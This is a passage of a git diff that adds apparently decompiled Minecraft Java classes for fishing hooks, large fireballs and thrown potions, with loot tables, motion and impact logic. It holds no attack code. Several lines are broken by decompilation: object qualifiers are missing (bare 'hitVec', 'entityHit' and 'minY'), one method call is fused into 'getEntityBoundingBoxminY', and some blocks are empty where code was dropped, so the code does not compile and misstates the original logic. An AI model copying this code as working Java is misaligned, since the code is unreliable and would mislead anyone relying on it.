+      field_145796_h = Block.getBlockById(tagCompund.getByte("inTile") & 0xFF);
+    }
+    
+    inGround = (tagCompund.getByte("inGround") == 1);
+    
+    if (tagCompund.hasKey("direction", 9))
+    {
+      NBTTagList var2 = tagCompund.getTagList("direction", 6);
+      motionX = var2.getDouble(0);
+      motionY = var2.getDouble(1);
+      motionZ = var2.getDouble(2);
+    }
+    else
+    {
+      setDead();
+    }
+  }
+  
+
+
+
+  public boolean canBeCollidedWith()
+  {
+    return true;
+  }
+  
+  public float getCollisionBorderSize()
+  {
+    return 1.0F;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    setBeenAttacked();
+    
+    if (source.getEntity() != null)
+    {
+      Vec3 var3 = source.getEntity().getLookVec();
+      
+      if (var3 != null)
+      {
+        motionX = xCoord;
+        motionY = yCoord;
+        motionZ = zCoord;
+        accelerationX = (motionX * 0.1D);
+        accelerationY = (motionY * 0.1D);
+        accelerationZ = (motionZ * 0.1D);
+      }
+      
+      if ((source.getEntity() instanceof EntityLivingBase))
+      {
+        shootingEntity = ((EntityLivingBase)source.getEntity());
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+  public float getBrightness(float p_70013_1_)
+  {
+    return 1.0F;
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    return 15728880;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/projectile/EntityFishHook.java b/src/minecraft/net/minecraft/entity/projectile/EntityFishHook.java
new file mode 100644
index 0000000..f8bc791
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/projectile/EntityFishHook.java
@@ -0,0 +1,617 @@
+package net.minecraft.entity.projectile;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.ItemFishFood.FishType;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.stats.StatList;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+import net.minecraft.util.WeightedRandom;
+import net.minecraft.util.WeightedRandomFishable;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldServer;
+
+public class EntityFishHook extends Entity
+{
+  private static final List JUNK = Arrays.asList(new WeightedRandomFishable[] { new WeightedRandomFishable(new ItemStack(Items.leather_boots), 10).setMaxDamagePercent(0.9F), new WeightedRandomFishable(new ItemStack(Items.leather), 10), new WeightedRandomFishable(new ItemStack(Items.bone), 10), new WeightedRandomFishable(new ItemStack(Items.potionitem), 10), new WeightedRandomFishable(new ItemStack(Items.string), 5), new WeightedRandomFishable(new ItemStack(Items.fishing_rod), 2).setMaxDamagePercent(0.9F), new WeightedRandomFishable(new ItemStack(Items.bowl), 10), new WeightedRandomFishable(new ItemStack(Items.stick), 5), new WeightedRandomFishable(new ItemStack(Items.dye, 10, EnumDyeColor.BLACK.getDyeColorDamage()), 1), new WeightedRandomFishable(new ItemStack(Blocks.tripwire_hook), 10), new WeightedRandomFishable(new ItemStack(Items.rotten_flesh), 10) });
+  private static final List VALUABLES = Arrays.asList(new WeightedRandomFishable[] { new WeightedRandomFishable(new ItemStack(Blocks.waterlily), 1), new WeightedRandomFishable(new ItemStack(Items.name_tag), 1), new WeightedRandomFishable(new ItemStack(Items.saddle), 1), new WeightedRandomFishable(new ItemStack(Items.bow), 1).setMaxDamagePercent(0.25F).setEnchantable(), new WeightedRandomFishable(new ItemStack(Items.fishing_rod), 1).setMaxDamagePercent(0.25F).setEnchantable(), new WeightedRandomFishable(new ItemStack(Items.book), 1).setEnchantable() });
+  private static final List FISH = Arrays.asList(new WeightedRandomFishable[] { new WeightedRandomFishable(new ItemStack(Items.fish, 1, ItemFishFood.FishType.COD.getItemDamage()), 60), new WeightedRandomFishable(new ItemStack(Items.fish, 1, ItemFishFood.FishType.SALMON.getItemDamage()), 25), new WeightedRandomFishable(new ItemStack(Items.fish, 1, ItemFishFood.FishType.CLOWNFISH.getItemDamage()), 2), new WeightedRandomFishable(new ItemStack(Items.fish, 1, ItemFishFood.FishType.PUFFERFISH.getItemDamage()), 13) });
+  private int xTile;
+  private int yTile;
+  private int zTile;
+  private Block inTile;
+  private boolean inGround;
+  public int shake;
+  public EntityPlayer angler;
+  private int ticksInGround;
+  private int ticksInAir;
+  private int ticksCatchable;
+  private int ticksCaughtDelay;
+  private int ticksCatchableDelay;
+  private float fishApproachAngle;
+  public Entity caughtEntity;
+  private int fishPosRotationIncrements;
+  private double fishX;
+  private double fishY;
+  private double fishZ;
+  private double fishYaw;
+  private double fishPitch;
+  private double clientMotionX;
+  private double clientMotionY;
+  private double clientMotionZ;
+  private static final String __OBFID = "CL_00001663";
+  
+  public static List func_174855_j()
+  {
+    return FISH;
+  }
+  
+  public EntityFishHook(World worldIn)
+  {
+    super(worldIn);
+    xTile = -1;
+    yTile = -1;
+    zTile = -1;
+    setSize(0.25F, 0.25F);
+    ignoreFrustumCheck = true;
+  }
+  
+  public EntityFishHook(World worldIn, double p_i1765_2_, double p_i1765_4_, double p_i1765_6_, EntityPlayer p_i1765_8_)
+  {
+    this(worldIn);
+    setPosition(p_i1765_2_, p_i1765_4_, p_i1765_6_);
+    ignoreFrustumCheck = true;
+    angler = p_i1765_8_;
+    fishEntity = this;
+  }
+  
+  public EntityFishHook(World worldIn, EntityPlayer p_i1766_2_)
+  {
+    super(worldIn);
+    xTile = -1;
+    yTile = -1;
+    zTile = -1;
+    ignoreFrustumCheck = true;
+    angler = p_i1766_2_;
+    angler.fishEntity = this;
+    setSize(0.25F, 0.25F);
+    setLocationAndAngles(posX, posY + p_i1766_2_.getEyeHeight(), posZ, rotationYaw, rotationPitch);
+    posX -= MathHelper.cos(rotationYaw / 180.0F * 3.1415927F) * 0.16F;
+    posY -= 0.10000000149011612D;
+    posZ -= MathHelper.sin(rotationYaw / 180.0F * 3.1415927F) * 0.16F;
+    setPosition(posX, posY, posZ);
+    float var3 = 0.4F;
+    motionX = (-MathHelper.sin(rotationYaw / 180.0F * 3.1415927F) * MathHelper.cos(rotationPitch / 180.0F * 3.1415927F) * var3);
+    motionZ = (MathHelper.cos(rotationYaw / 180.0F * 3.1415927F) * MathHelper.cos(rotationPitch / 180.0F * 3.1415927F) * var3);
+    motionY = (-MathHelper.sin(rotationPitch / 180.0F * 3.1415927F) * var3);
+    handleHookCasting(motionX, motionY, motionZ, 1.5F, 1.0F);
+  }
+  
+
+
+  protected void entityInit() {}
+  
+
+
+  public boolean isInRangeToRenderDist(double distance)
+  {
+    double var3 = getEntityBoundingBox().getAverageEdgeLength() * 4.0D;
+    var3 *= 64.0D;
+    return distance < var3 * var3;
+  }
+  
+  public void handleHookCasting(double p_146035_1_, double p_146035_3_, double p_146035_5_, float p_146035_7_, float p_146035_8_)
+  {
+    float var9 = MathHelper.sqrt_double(p_146035_1_ * p_146035_1_ + p_146035_3_ * p_146035_3_ + p_146035_5_ * p_146035_5_);
+    p_146035_1_ /= var9;
+    p_146035_3_ /= var9;
+    p_146035_5_ /= var9;
+    p_146035_1_ += rand.nextGaussian() * 0.007499999832361937D * p_146035_8_;
+    p_146035_3_ += rand.nextGaussian() * 0.007499999832361937D * p_146035_8_;
+    p_146035_5_ += rand.nextGaussian() * 0.007499999832361937D * p_146035_8_;
+    p_146035_1_ *= p_146035_7_;
+    p_146035_3_ *= p_146035_7_;
+    p_146035_5_ *= p_146035_7_;
+    motionX = p_146035_1_;
+    motionY = p_146035_3_;
+    motionZ = p_146035_5_;
+    float var10 = MathHelper.sqrt_double(p_146035_1_ * p_146035_1_ + p_146035_5_ * p_146035_5_);
+    prevRotationYaw = (this.rotationYaw = (float)(Math.atan2(p_146035_1_, p_146035_5_) * 180.0D / 3.141592653589793D));
+    prevRotationPitch = (this.rotationPitch = (float)(Math.atan2(p_146035_3_, var10) * 180.0D / 3.141592653589793D));
+    ticksInGround = 0;
+  }
+  
+  public void func_180426_a(double p_180426_1_, double p_180426_3_, double p_180426_5_, float p_180426_7_, float p_180426_8_, int p_180426_9_, boolean p_180426_10_)
+  {
+    fishX = p_180426_1_;
+    fishY = p_180426_3_;
+    fishZ = p_180426_5_;
+    fishYaw = p_180426_7_;
+    fishPitch = p_180426_8_;
+    fishPosRotationIncrements = p_180426_9_;
+    motionX = clientMotionX;
+    motionY = clientMotionY;
+    motionZ = clientMotionZ;
+  }
+  
+
+
+
+  public void setVelocity(double x, double y, double z)
+  {
+    clientMotionX = (this.motionX = x);
+    clientMotionY = (this.motionY = y);
+    clientMotionZ = (this.motionZ = z);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if (fishPosRotationIncrements > 0)
+    {
+      double var28 = posX + (fishX - posX) / fishPosRotationIncrements;
+      double var29 = posY + (fishY - posY) / fishPosRotationIncrements;
+      double var30 = posZ + (fishZ - posZ) / fishPosRotationIncrements;
+      double var7 = MathHelper.wrapAngleTo180_double(fishYaw - rotationYaw);
+      rotationYaw = ((float)(rotationYaw + var7 / fishPosRotationIncrements));
+      rotationPitch = ((float)(rotationPitch + (fishPitch - rotationPitch) / fishPosRotationIncrements));
+      fishPosRotationIncrements -= 1;
+      setPosition(var28, var29, var30);
+      setRotation(rotationYaw, rotationPitch);
+    }
+    else
+    {
+      if (!worldObj.isRemote)
+      {
+        ItemStack var1 = angler.getCurrentEquippedItem();
+        
+        if ((angler.isDead) || (!angler.isEntityAlive()) || (var1 == null) || (var1.getItem() != Items.fishing_rod) || (getDistanceSqToEntity(angler) > 1024.0D))
+        {
+          setDead();
+          angler.fishEntity = null;
+          return;
+        }
+        
+        if (caughtEntity != null)
+        {
+          if (!caughtEntity.isDead)
+          {
+            posX = caughtEntity.posX;
+            double var10002 = caughtEntity.height;
+            posY = (caughtEntity.getEntityBoundingBox().minY + var10002 * 0.8D);
+            posZ = caughtEntity.posZ;
+            return;
+          }
+          
+          caughtEntity = null;
+        }
+      }
+      
+      if (shake > 0)
+      {
+        shake -= 1;
+      }
+      
+      if (inGround)
+      {
+        if (worldObj.getBlockState(new BlockPos(xTile, yTile, zTile)).getBlock() == inTile)
+        {
+          ticksInGround += 1;
+          
+          if (ticksInGround == 1200)
+          {
+            setDead();
+          }
+          
+          return;
+        }
+        
+        inGround = false;
+        motionX *= rand.nextFloat() * 0.2F;
+        motionY *= rand.nextFloat() * 0.2F;
+        motionZ *= rand.nextFloat() * 0.2F;
+        ticksInGround = 0;
+        ticksInAir = 0;
+      }
+      else
+      {
+        ticksInAir += 1;
+      }
+      
+      Vec3 var27 = new Vec3(posX, posY, posZ);
+      Vec3 var2 = new Vec3(posX + motionX, posY + motionY, posZ + motionZ);
+      MovingObjectPosition var3 = worldObj.rayTraceBlocks(var27, var2);
+      var27 = new Vec3(posX, posY, posZ);
+      var2 = new Vec3(posX + motionX, posY + motionY, posZ + motionZ);
+      
+      if (var3 != null)
+      {
+        var2 = new Vec3(hitVec.xCoord, hitVec.yCoord, hitVec.zCoord);
+      }
+      
+      Entity var4 = null;
+      List var5 = worldObj.getEntitiesWithinAABBExcludingEntity(this, getEntityBoundingBox().addCoord(motionX, motionY, motionZ).expand(1.0D, 1.0D, 1.0D));
+      double var6 = 0.0D;
+      
+
+      for (int var8 = 0; var8 < var5.size(); var8++)
+      {
+        Entity var9 = (Entity)var5.get(var8);
+        
+        if ((var9.canBeCollidedWith()) && ((var9 != angler) || (ticksInAir >= 5)))
+        {
+          float var10 = 0.3F;
+          AxisAlignedBB var11 = var9.getEntityBoundingBox().expand(var10, var10, var10);
+          MovingObjectPosition var12 = var11.calculateIntercept(var27, var2);
+          
+          if (var12 != null)
+          {
+            double var13 = var27.distanceTo(hitVec);
+            
+            if ((var13 < var6) || (var6 == 0.0D))
+            {
+              var4 = var9;
+              var6 = var13;
+            }
+          }
+        }
+      }
+      
+      if (var4 != null)
+      {
+        var3 = new MovingObjectPosition(var4);
+      }
+      
+      if (var3 != null)
+      {
+        if (entityHit != null)
+        {
+          if (entityHit.attackEntityFrom(net.minecraft.util.DamageSource.causeThrownDamage(this, angler), 0.0F))
+          {
+            caughtEntity = entityHit;
+          }
+          
+        }
+        else {
+          inGround = true;
+        }
+      }
+      
+      if (!inGround)
+      {
+        moveEntity(motionX, motionY, motionZ);
+        float var31 = MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ);
+        rotationYaw = ((float)(Math.atan2(motionX, motionZ) * 180.0D / 3.141592653589793D));
+        
+        for (rotationPitch = ((float)(Math.atan2(motionY, var31) * 180.0D / 3.141592653589793D)); rotationPitch - prevRotationPitch < -180.0F; prevRotationPitch -= 360.0F) {}
+        
+
+
+
+        while (rotationPitch - prevRotationPitch >= 180.0F)
+        {
+          prevRotationPitch += 360.0F;
+        }
+        
+        while (rotationYaw - prevRotationYaw < -180.0F)
+        {
+          prevRotationYaw -= 360.0F;
+        }
+        
+        while (rotationYaw - prevRotationYaw >= 180.0F)
+        {
+          prevRotationYaw += 360.0F;
+        }
+        
+        rotationPitch = (prevRotationPitch + (rotationPitch - prevRotationPitch) * 0.2F);
+        rotationYaw = (prevRotationYaw + (rotationYaw - prevRotationYaw) * 0.2F);
+        float var32 = 0.92F;
+        
+        if ((onGround) || (isCollidedHorizontally))
+        {
+          var32 = 0.5F;
+        }
+        
+        byte var33 = 5;
+        double var34 = 0.0D;
+        
+
+        for (int var35 = 0; var35 < var33; var35++)
+        {
+          AxisAlignedBB var14 = getEntityBoundingBox();
+          double var15 = maxY - minY;
+          double var17 = minY + var15 * var35 / var33;
+          double var19 = minY + var15 * (var35 + 1) / var33;
+          AxisAlignedBB var21 = new AxisAlignedBB(minX, var17, minZ, maxX, var19, maxZ);
+          
+          if (worldObj.isAABBInMaterial(var21, net.minecraft.block.material.Material.water))
+          {
+            var34 += 1.0D / var33;
+          }
+        }
+        
+        if ((!worldObj.isRemote) && (var34 > 0.0D))
+        {
+          WorldServer var36 = (WorldServer)worldObj;
+          int var37 = 1;
+          BlockPos var38 = new BlockPos(this).offsetUp();
+          
+          if ((rand.nextFloat() < 0.25F) && (worldObj.func_175727_C(var38)))
+          {
+            var37 = 2;
+          }
+          
+          if ((rand.nextFloat() < 0.5F) && (!worldObj.isAgainstSky(var38)))
+          {
+            var37--;
+          }
+          
+          if (ticksCatchable > 0)
+          {
+            ticksCatchable -= 1;
+            
+            if (ticksCatchable <= 0)
+            {
+              ticksCaughtDelay = 0;
+              ticksCatchableDelay = 0;
+
+
+
+            }
+            
+
+
+
+
+          }
+          else if (ticksCatchableDelay > 0)
+          {
+            ticksCatchableDelay -= var37;
+            
+            if (ticksCatchableDelay <= 0)
+            {
+              motionY -= 0.20000000298023224D;
+              playSound("random.splash", 0.25F, 1.0F + (rand.nextFloat() - rand.nextFloat()) * 0.4F);
+              float var16 = MathHelper.floor_double(getEntityBoundingBoxminY);
+              var36.func_175739_a(EnumParticleTypes.WATER_BUBBLE, posX, var16 + 1.0F, posZ, (int)(1.0F + width * 20.0F), width, 0.0D, width, 0.20000000298023224D, new int[0]);
+              var36.func_175739_a(EnumParticleTypes.WATER_WAKE, posX, var16 + 1.0F, posZ, (int)(1.0F + width * 20.0F), width, 0.0D, width, 0.20000000298023224D, new int[0]);
+              ticksCatchable = MathHelper.getRandomIntegerInRange(rand, 10, 30);
+            }
+            else
+            {
+              fishApproachAngle = ((float)(fishApproachAngle + rand.nextGaussian() * 4.0D));
+              float var16 = fishApproachAngle * 0.017453292F;
+              float var39 = MathHelper.sin(var16);
+              float var18 = MathHelper.cos(var16);
+              double var19 = posX + var39 * ticksCatchableDelay * 0.1F;
+              double var40 = MathHelper.floor_double(getEntityBoundingBoxminY) + 1.0F;
+              double var23 = posZ + var18 * ticksCatchableDelay * 0.1F;
+              
+              if (rand.nextFloat() < 0.15F)
+              {
+                var36.func_175739_a(EnumParticleTypes.WATER_BUBBLE, var19, var40 - 0.10000000149011612D, var23, 1, var39, 0.1D, var18, 0.0D, new int[0]);
+              }
+              
+              float var25 = var39 * 0.04F;
+              float var26 = var18 * 0.04F;
+              var36.func_175739_a(EnumParticleTypes.WATER_WAKE, var19, var40, var23, 0, var26, 0.01D, -var25, 1.0D, new int[0]);
+              var36.func_175739_a(EnumParticleTypes.WATER_WAKE, var19, var40, var23, 0, -var26, 0.01D, var25, 1.0D, new int[0]);
+            }
+          }
+          else if (ticksCaughtDelay > 0)
+          {
+            ticksCaughtDelay -= var37;
+            float var16 = 0.15F;
+            
+            if (ticksCaughtDelay < 20)
+            {
+              var16 = (float)(var16 + (20 - ticksCaughtDelay) * 0.05D);
+            }
+            else if (ticksCaughtDelay < 40)
+            {
+              var16 = (float)(var16 + (40 - ticksCaughtDelay) * 0.02D);
+            }
+            else if (ticksCaughtDelay < 60)
+            {
+              var16 = (float)(var16 + (60 - ticksCaughtDelay) * 0.01D);
+            }
+            
+            if (rand.nextFloat() < var16)
+            {
+              float var39 = MathHelper.randomFloatClamp(rand, 0.0F, 360.0F) * 0.017453292F;
+              float var18 = MathHelper.randomFloatClamp(rand, 25.0F, 60.0F);
+              double var19 = posX + MathHelper.sin(var39) * var18 * 0.1F;
+              double var40 = MathHelper.floor_double(getEntityBoundingBoxminY) + 1.0F;
+              double var23 = posZ + MathHelper.cos(var39) * var18 * 0.1F;
+              var36.func_175739_a(EnumParticleTypes.WATER_SPLASH, var19, var40, var23, 2 + rand.nextInt(2), 0.10000000149011612D, 0.0D, 0.10000000149011612D, 0.0D, new int[0]);
+            }
+            
+            if (ticksCaughtDelay <= 0)
+            {
+              fishApproachAngle = MathHelper.randomFloatClamp(rand, 0.0F, 360.0F);
+              ticksCatchableDelay = MathHelper.getRandomIntegerInRange(rand, 20, 80);
+            }
+          }
+          else
+          {
+            ticksCaughtDelay = MathHelper.getRandomIntegerInRange(rand, 100, 900);
+            ticksCaughtDelay -= EnchantmentHelper.func_151387_h(angler) * 20 * 5;
+          }
+          
+
+          if (ticksCatchable > 0)
+          {
+            motionY -= rand.nextFloat() * rand.nextFloat() * rand.nextFloat() * 0.2D;
+          }
+        }
+        
+        double var13 = var34 * 2.0D - 1.0D;
+        motionY += 0.03999999910593033D * var13;
+        
+        if (var34 > 0.0D)
+        {
+          var32 = (float)(var32 * 0.9D);
+          motionY *= 0.8D;
+        }
+        
+        motionX *= var32;
+        motionY *= var32;
+        motionZ *= var32;
+        setPosition(posX, posY, posZ);
+      }
+    }
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    tagCompound.setShort("xTile", (short)xTile);
+    tagCompound.setShort("yTile", (short)yTile);
+    tagCompound.setShort("zTile", (short)zTile);
+    ResourceLocation var2 = (ResourceLocation)Block.blockRegistry.getNameForObject(inTile);
+    tagCompound.setString("inTile", var2 == null ? "" : var2.toString());
+    tagCompound.setByte("shake", (byte)shake);
+    tagCompound.setByte("inGround", (byte)(inGround ? 1 : 0));
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    xTile = tagCompund.getShort("xTile");
+    yTile = tagCompund.getShort("yTile");
+    zTile = tagCompund.getShort("zTile");
+    
+    if (tagCompund.hasKey("inTile", 8))
+    {
+      inTile = Block.getBlockFromName(tagCompund.getString("inTile"));
+    }
+    else
+    {
+      inTile = Block.getBlockById(tagCompund.getByte("inTile") & 0xFF);
+    }
+    
+    shake = (tagCompund.getByte("shake") & 0xFF);
+    inGround = (tagCompund.getByte("inGround") == 1);
+  }
+  
+  public int handleHookRetraction()
+  {
+    if (worldObj.isRemote)
+    {
+      return 0;
+    }
+    
+
+    byte var1 = 0;
+    
+    if (caughtEntity != null)
+    {
+      double var2 = angler.posX - posX;
+      double var4 = angler.posY - posY;
+      double var6 = angler.posZ - posZ;
+      double var8 = MathHelper.sqrt_double(var2 * var2 + var4 * var4 + var6 * var6);
+      double var10 = 0.1D;
+      caughtEntity.motionX += var2 * var10;
+      caughtEntity.motionY += var4 * var10 + MathHelper.sqrt_double(var8) * 0.08D;
+      caughtEntity.motionZ += var6 * var10;
+      var1 = 3;
+    }
+    else if (ticksCatchable > 0)
+    {
+      EntityItem var13 = new EntityItem(worldObj, posX, posY, posZ, func_146033_f());
+      double var3 = angler.posX - posX;
+      double var5 = angler.posY - posY;
+      double var7 = angler.posZ - posZ;
+      double var9 = MathHelper.sqrt_double(var3 * var3 + var5 * var5 + var7 * var7);
+      double var11 = 0.1D;
+      motionX = (var3 * var11);
+      motionY = (var5 * var11 + MathHelper.sqrt_double(var9) * 0.08D);
+      motionZ = (var7 * var11);
+      worldObj.spawnEntityInWorld(var13);
+      angler.worldObj.spawnEntityInWorld(new net.minecraft.entity.item.EntityXPOrb(angler.worldObj, angler.posX, angler.posY + 0.5D, angler.posZ + 0.5D, rand.nextInt(6) + 1));
+      var1 = 1;
+    }
+    
+    if (inGround)
+    {
+      var1 = 2;
+    }
+    
+    setDead();
+    angler.fishEntity = null;
+    return var1;
+  }
+  
+
+  private ItemStack func_146033_f()
+  {
+    float var1 = worldObj.rand.nextFloat();
+    int var2 = EnchantmentHelper.func_151386_g(angler);
+    int var3 = EnchantmentHelper.func_151387_h(angler);
+    float var4 = 0.1F - var2 * 0.025F - var3 * 0.01F;
+    float var5 = 0.05F + var2 * 0.01F - var3 * 0.01F;
+    var4 = MathHelper.clamp_float(var4, 0.0F, 1.0F);
+    var5 = MathHelper.clamp_float(var5, 0.0F, 1.0F);
+    
+    if (var1 < var4)
+    {
+      angler.triggerAchievement(StatList.junkFishedStat);
+      return ((WeightedRandomFishable)WeightedRandom.getRandomItem(rand, JUNK)).getItemStack(rand);
+    }
+    
+
+    var1 -= var4;
+    
+    if (var1 < var5)
+    {
+      angler.triggerAchievement(StatList.treasureFishedStat);
+      return ((WeightedRandomFishable)WeightedRandom.getRandomItem(rand, VALUABLES)).getItemStack(rand);
+    }
+    
+
+    float var10000 = var1 - var5;
+    angler.triggerAchievement(StatList.fishCaughtStat);
+    return ((WeightedRandomFishable)WeightedRandom.getRandomItem(rand, FISH)).getItemStack(rand);
+  }
+  
+
+
+
+
+
+  public void setDead()
+  {
+    super.setDead();
+    
+    if (angler != null)
+    {
+      angler.fishEntity = null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/projectile/EntityLargeFireball.java b/src/minecraft/net/minecraft/entity/projectile/EntityLargeFireball.java
new file mode 100644
index 0000000..c82b425
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/projectile/EntityLargeFireball.java
@@ -0,0 +1,70 @@
+package net.minecraft.entity.projectile;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.world.World;
+
+public class EntityLargeFireball extends EntityFireball
+{
+  public int field_92057_e = 1;
+  private static final String __OBFID = "CL_00001719";
+  
+  public EntityLargeFireball(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityLargeFireball(World worldIn, double p_i1768_2_, double p_i1768_4_, double p_i1768_6_, double p_i1768_8_, double p_i1768_10_, double p_i1768_12_)
+  {
+    super(worldIn, p_i1768_2_, p_i1768_4_, p_i1768_6_, p_i1768_8_, p_i1768_10_, p_i1768_12_);
+  }
+  
+  public EntityLargeFireball(World worldIn, EntityLivingBase p_i1769_2_, double p_i1769_3_, double p_i1769_5_, double p_i1769_7_)
+  {
+    super(worldIn, p_i1769_2_, p_i1769_3_, p_i1769_5_, p_i1769_7_);
+  }
+  
+
+
+
+  protected void onImpact(MovingObjectPosition p_70227_1_)
+  {
+    if (!worldObj.isRemote)
+    {
+      if (entityHit != null)
+      {
+        entityHit.attackEntityFrom(DamageSource.causeFireballDamage(this, shootingEntity), 6.0F);
+        func_174815_a(shootingEntity, entityHit);
+      }
+      
+      boolean var2 = worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing");
+      worldObj.newExplosion(null, posX, posY, posZ, field_92057_e, var2, var2);
+      setDead();
+    }
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("ExplosionPower", field_92057_e);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    
+    if (tagCompund.hasKey("ExplosionPower", 99))
+    {
+      field_92057_e = tagCompund.getInteger("ExplosionPower");
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/projectile/EntityPotion.java b/src/minecraft/net/minecraft/entity/projectile/EntityPotion.java
new file mode 100644
index 0000000..b41d944
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/projectile/EntityPotion.java
@@ -0,0 +1,189 @@
+package net.minecraft.entity.projectile;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemPotion;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.world.World;
+
+
+public class EntityPotion
+  extends EntityThrowable
+{
+  private ItemStack potionDamage;
+  private static final String __OBFID = "CL_00001727";
+  
+  public EntityPotion(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityPotion(World worldIn, EntityLivingBase p_i1789_2_, int p_i1789_3_)
+  {
+    this(worldIn, p_i1789_2_, new ItemStack(Items.potionitem, 1, p_i1789_3_));
+  }
+  
+  public EntityPotion(World worldIn, EntityLivingBase p_i1790_2_, ItemStack p_i1790_3_)
+  {
+    super(worldIn, p_i1790_2_);
+    potionDamage = p_i1790_3_;
+  }
+  
+  public EntityPotion(World worldIn, double p_i1791_2_, double p_i1791_4_, double p_i1791_6_, int p_i1791_8_)
+  {
+    this(worldIn, p_i1791_2_, p_i1791_4_, p_i1791_6_, new ItemStack(Items.potionitem, 1, p_i1791_8_));
+  }
+  
+  public EntityPotion(World worldIn, double p_i1792_2_, double p_i1792_4_, double p_i1792_6_, ItemStack p_i1792_8_)
+  {
+    super(worldIn, p_i1792_2_, p_i1792_4_, p_i1792_6_);
+    potionDamage = p_i1792_8_;
+  }
+  
+
+
+
+  protected float getGravityVelocity()
+  {
+    return 0.05F;
+  }
+  
+  protected float func_70182_d()
+  {
+    return 0.5F;
+  }
+  
+  protected float func_70183_g()
+  {
+    return -20.0F;
+  }
+  
+  public void setPotionDamage(int p_82340_1_)
+  {
+    if (potionDamage == null)
+    {
+      potionDamage = new ItemStack(Items.potionitem, 1, 0);
+    }
+    
+    potionDamage.setItemDamage(p_82340_1_);
+  }
+  
+
+
+
+  public int getPotionDamage()
+  {
+    if (potionDamage == null)
+    {
+      potionDamage = new ItemStack(Items.potionitem, 1, 0);
+    }
+    
+    return potionDamage.getMetadata();
+  }
+  
+
+
+
+  protected void onImpact(MovingObjectPosition p_70184_1_)
+  {
+    if (!worldObj.isRemote)
+    {
+      List var2 = Items.potionitem.getEffects(potionDamage);
+      
+      if ((var2 != null) && (!var2.isEmpty()))
+      {
+        AxisAlignedBB var3 = getEntityBoundingBox().expand(4.0D, 2.0D, 4.0D);
+        List var4 = worldObj.getEntitiesWithinAABB(EntityLivingBase.class, var3);
+        
+        if (!var4.isEmpty())
+        {
+          Iterator var5 = var4.iterator();
+          
+          while (var5.hasNext())
+          {
+            EntityLivingBase var6 = (EntityLivingBase)var5.next();
+            double var7 = getDistanceSqToEntity(var6);
+            
+            if (var7 < 16.0D)
+            {
+              double var9 = 1.0D - Math.sqrt(var7) / 4.0D;
+              
+              if (var6 == entityHit)
+              {
+                var9 = 1.0D;
+              }
+              
+              Iterator var11 = var2.iterator();
+              
+              while (var11.hasNext())
+              {
+                PotionEffect var12 = (PotionEffect)var11.next();
+                int var13 = var12.getPotionID();
+                
+                if (Potion.potionTypes[var13].isInstant())
+                {
+                  Potion.potionTypes[var13].func_180793_a(this, getThrower(), var6, var12.getAmplifier(), var9);
+                }
+                else
+                {
+                  int var14 = (int)(var9 * var12.getDuration() + 0.5D);
+                  
+                  if (var14 > 20)
+                  {
+                    var6.addPotionEffect(new PotionEffect(var13, var14, var12.getAmplifier()));
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+      
+      worldObj.playAuxSFX(2002, new BlockPos(this), getPotionDamage());
+      setDead();
+    }
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    
+    if (tagCompund.hasKey("Potion", 10))
+    {
+      potionDamage = ItemStack.loadItemStackFromNBT(tagCompund.getCompoundTag("Potion"));
+    }
+    else
+    {
+      setPotionDamage(tagCompund.getInteger("potionValue"));
+    }
+    
+    if (potionDamage == null)
+    {
+      setDead();
+    }
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    
+    if (potionDamage != null)
+    {
